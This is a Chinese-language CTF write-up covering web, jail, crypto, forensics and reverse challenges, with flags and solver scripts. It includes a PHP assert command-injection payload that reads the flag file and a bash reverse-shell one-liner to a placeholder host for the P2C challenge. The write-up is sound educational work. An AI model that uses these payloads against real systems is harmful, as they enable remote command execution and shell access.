Web

readme

下载文件,查看Dockerfile
ictf{path_normalization_to_the_rescue}

journal

if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;

assert("strpos('$file', '..') === false") or die("Invalid file!");

if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}

想读一下../../../../../flag,但目录穿越在这里用不了了
可以借助一手assert,把前面的闭合了,同时注释掉后面的,从而实现命令执行
/?file=') or system("cat /f*");%23

P2C

app.py

from flask import Flask, request, render_template
import subprocess
from random import randint
from hashlib import md5
import os
import re

app = Flask(__name__)


def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])

file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

os.system(f"chmod 755 {file}")

try:
res = subprocess.run(["sudo", "-u", "user", "python3", file],
capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
output = None

os.remove(file)

return output


@app.route('/', methods=["GET", "POST"])
def index():
res = None
if request.method == "POST":
code = request.form["code"]
res = xec(code)
valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
if res == None:
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
if valid.match("".join(res.strip().split("\n")[-1])):
return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]))
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")


if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)

parse.py

import sys

if "random" not in dir():
import random


def rgb_parse(inp=""):
inp = str(inp)
randomizer = random.randint(100, 1000)
total = 0
for n in inp:
n = ord(n)
total += n+random.randint(1, 10)
rgb = total*randomizer*random.randint(100, 1000)
rgb = str(rgb % 1000000000)
r = int(rgb[0:3]) + 29
g = int(rgb[3:6]) + random.randint(10, 100)
b = int(rgb[6:9]) + 49
r, g, b = r % 256, g % 256, b % 256
return r, g, b

看了源代码没怎么看懂,我都不知道它要怎么去获取flag
但群里的师傅貌似非预期了?
反弹shell就有了,我vps过期了,就没有试验了

import os 
os.system('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"')

crystals

emmmm,思路错了,附件没仔细看

看到Z3r4y师傅的思路后才幡然醒悟,docker-compose.yml里面已经把flag位置都告诉你了

version: '3.3'
services:
deployment:
hostname: $FLAG
build: .
ports:
- 10001:80

可以让服务器端报错,就可以把主机泄露出来了

我比赛中访问的都是常规的路径url/flag之类的,就没有实现报错

看到有两种报错思路,url/<url/{11}
第一个应该是特殊字符没有得到解析吧
第二个,我好像搜到Sinatra可以解析json格式的字符串,但是此处并没有require 'json'

比赛平台还在,但是环境没了,没有办法复现了

Misc

sanity-check

签到题

ok-nice()

题目源码

#!/usr/bin/env python3
print("Welcome to the jail! It is so secure I even have a flag variable!")
blacklist = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '_', '.', '=', '>', '<',
'{', '}', 'class', 'global', 'var', 'local', 'import', 'exec', 'eval', 't', 'set', 'blacklist']
while True:
inp = input("Enter input: ")
for i in blacklist:
if i in inp:
print("ok nice")
exit(0)
for i in inp:
if (ord(i) > 125) or (ord(i) < 40) or (len(set(inp)) > 17):
print("ok nice")
exit(0)
try:
eval(inp, {'__builtins__': None, 'ord': ord, 'flag': flag})
print("ok nice")
except:
print("error")

很明显是一题pyjail,看看还有哪些字符能用

from string import printable
s = ''
blacklist = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '_', '.', '=', '>', '<',
'{', '}', 'class', 'global', 'var', 'local', 'import', 'exec', 'eval', 't', 'set', 'blacklist']
for i in printable:
if 40 <= ord(i) <= 125 and i not in blacklist:
s += i
s = 'abcdefghijklmnopqrsuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ()*+,-/:;?@[\]^`|'

emmmmm,貌似最关键的都给我ban了……
查资料过程中,发现了
https://jbnrz.com.cn/index.php/2024/05/19/pyjail

Crypto

base64

from Crypto.Util.number import bytes_to_long
q = 64
flag = open("flag.txt", "rb").read()
flag_int = bytes_to_long(flag)
secret_key = []
while flag_int:
secret_key.append(flag_int % q)
flag_int //= q

就是一个64进制的转换

from Crypto.Util.number import *
secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7,29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]
q = 64
flag_int = 0
for i in reversed(secret_key):
flag_int = flag_int*q+i
print(long_to_bytes(flag_int))

integrity

ct = pow(flag, e, n)
signature = pow(flag, crc_hqx(long_to_bytes(d), 42), n)

其实就是一个共模攻击

from gmpy2 import *
from Crypto.Util.number import *

n =
c1 =
c2 =
e1 = 65537
for e2 in range(1000000):
s = gmpy2.gcdext(e1, e2)
m = pow(c1, s[1], n)*pow(c2, s[2], n) % n
flag = long_to_bytes(m)
if b'ictf{' in flag:
print(e2)
print(flag)
break

Forensics

bom

楣瑦筴栴瑟楳渷彣桩渳獥

ictf{th4t_isn7_chin3se}

packed

7zip打开secret.png
ictf{ab4697882634d4aeb6f21141ea2724d0}

Reverse

unoriginal


不是很懂逆向,5u?应该是5吧

s = 'lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx'
for i in s:
print(chr(5 ^ ord(i)), end='')

ictf{just_another_flag_checker_a3465d5e5ee234ba}